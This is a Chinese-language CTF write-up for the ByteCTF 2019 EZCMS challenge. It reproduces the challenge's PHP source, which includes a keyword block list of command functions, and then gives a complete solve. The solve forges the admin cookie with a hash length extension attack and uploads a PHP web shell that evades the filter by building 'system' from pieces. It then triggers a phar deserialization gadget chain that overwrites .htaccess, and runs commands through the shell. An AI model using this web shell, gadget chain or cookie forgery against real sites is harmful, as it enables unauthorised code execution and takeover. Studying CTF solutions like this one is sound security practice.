2025-8-22-每日一题

[ByteCTF 2019]EZCMS
hash长度扩展攻击+phar反序列化

打开环境,扫描后发现www.zip
先下载下来
一共有四个文件
(1)config.php

点击查看代码
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);
        $black_list = ['system','eval','exec','+','passthru','`','assert'];
        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }
        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }
        $mine = mime_content_type($this->filepath);
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()
    {
        if (isset($this->checker)){
            $this->checker->upload_file();
        }
    }

}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;
        $this->content_check = new Check($this->file_tmp);
        $profile = new Profile();
        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp);
        if ($this->size > 204800){
            die("your file is too big");
        }
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];
        $secret = "********";
        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments)
    {
        $this->admin->open($this->username, $this->password);
    }
}

(2)index.php

点击查看代码
<?php
error_reporting(0);
include('config.php');
if (isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $username = urldecode($username);
    $password = urldecode($password);
    if ($password === "admin"){
        die("u r not admin !!!");
    }
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;

    if (login()){
        echo '<script>location.href="upload.php";</script>';
    }
}

(3)upload.php

点击查看代码
<?php
include ("config.php");
if (isset($_FILES['file'])){
    $file_tmp = $_FILES['file']['tmp_name'];
    $file_name = $_FILES['file']['name'];
    $file_size = $_FILES['file']['size'];
    $file_error = $_FILES['file']['error'];
    if ($file_error > 0){
        die("something error");
    }
    $admin = new Admin($file_name, $file_tmp, $file_size);
    $admin->upload_file();
}else{
    $sandbox = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
    if (!file_exists($sandbox)){
        mkdir($sandbox, 0777, true);
    }
    if (!is_file($sandbox.'/.htaccess')){
        file_put_contents($sandbox.'/.htaccess', 'lolololol, i control all');
    }
    echo "view my file : "."<br>";
    $path = "./".$sandbox;
    $dir = opendir($path);
    while (($filename = readdir($dir)) !== false){
        if ($filename != '.' && $filename != '..'){
            $files[] = $filename;
        }
    }
    foreach ($files as $k=>$v){
        $filepath = $path.'/'.$v;
        echo <<<EOF
        <div style="width: 1000px; height: 30px;">
        <Ariel>filename: {$v}</Ariel>
        <a href="view.php?filename={$v}&filepath={$filepath}">view detail</a>
</div>
EOF;
    }
    closedir($dir);

}

(4)view.php

点击查看代码
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;

config.php:包含login()函数和Admin、Check、Profile类的定义
upload.php:处理文件上传的逻辑,但非管理员无法上传
view.php:可能存在文件查看功能,有时可用于触发反序列化

我们先抓包发现cookie中的hash:52107b08c0f3342d2153ae1d68e6262c
在文件中发现key是8位
用hashpump构造

图片
得到进入密码
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00xinghe
之后
来到文件上传页面

图片
上传文件cms.php

点击查看代码
<?php
$hack="syst"."em";
($hack)($_POST['hack']);
?>

发现上传不上去
但可利用cookie增加user=0c8c2b44f70004164573f322eb581e63来绕过
图片
之后上传就能上传了
但我们无法访问我们的木马
我可以利用phar来解

点击查看代码
<?php
class File{
	public $filename;
	public $filepath;
	public $checker;
	function __construct()
	{
		$this->filepath = 'xinghe';
		$this->filename = 'xinghe';
		$this->checker = new Profile();
	}
}

class Profile{
	public $username;
	public $password;
	public $admin;
	function __construct()
	{
		$this->admin = new ZipArchive();
		$this->username = 'sandbox/f31ac2e03055c72cff54baf78fabce14/.htaccess';
		$this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
	}
}

$data = new File();
@unlink("xinghe.phar");
$phar = new Phar("xinghe.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($data);
$phar->addFromString("xinghe.txt", "xinghe");
$phar->stopBuffering();
?>

再次上传
图片

之后访问
http://node4.anna.nssctf.cn:28908/view.php?filename=xinghe&filepath=php://filter/read=convert.base64-encode/resource=phar://sandbox/f31ac2e03055c72cff54baf78fabce14/a2e3f2bc94ed63d86b2fef20cc069f3a.phar
图片

最后可以shell
访问url
http://node4.anna.nssctf.cn:28908/sandbox/f31ac2e03055c72cff54baf78fabce14/53fc9bd1a7e7a8ea1b9ffbb12f6c8b48.php
POST:hack=cat /flag
图片
拿到flag

时间关系,不是很详细
具体解释可以看看其他文章

https://blog.csdn.net/weixin_42444939/article/details/100781890?fromshare=blogdetail&sharetype=blogdetail&sharerId=100781890&sharerefer=PC&sharesource=2401_88310606&sharefrom=from_link

posted @ 2025-08-22 18:30  xinghe123*  阅读(2)  评论(0)    收藏  举报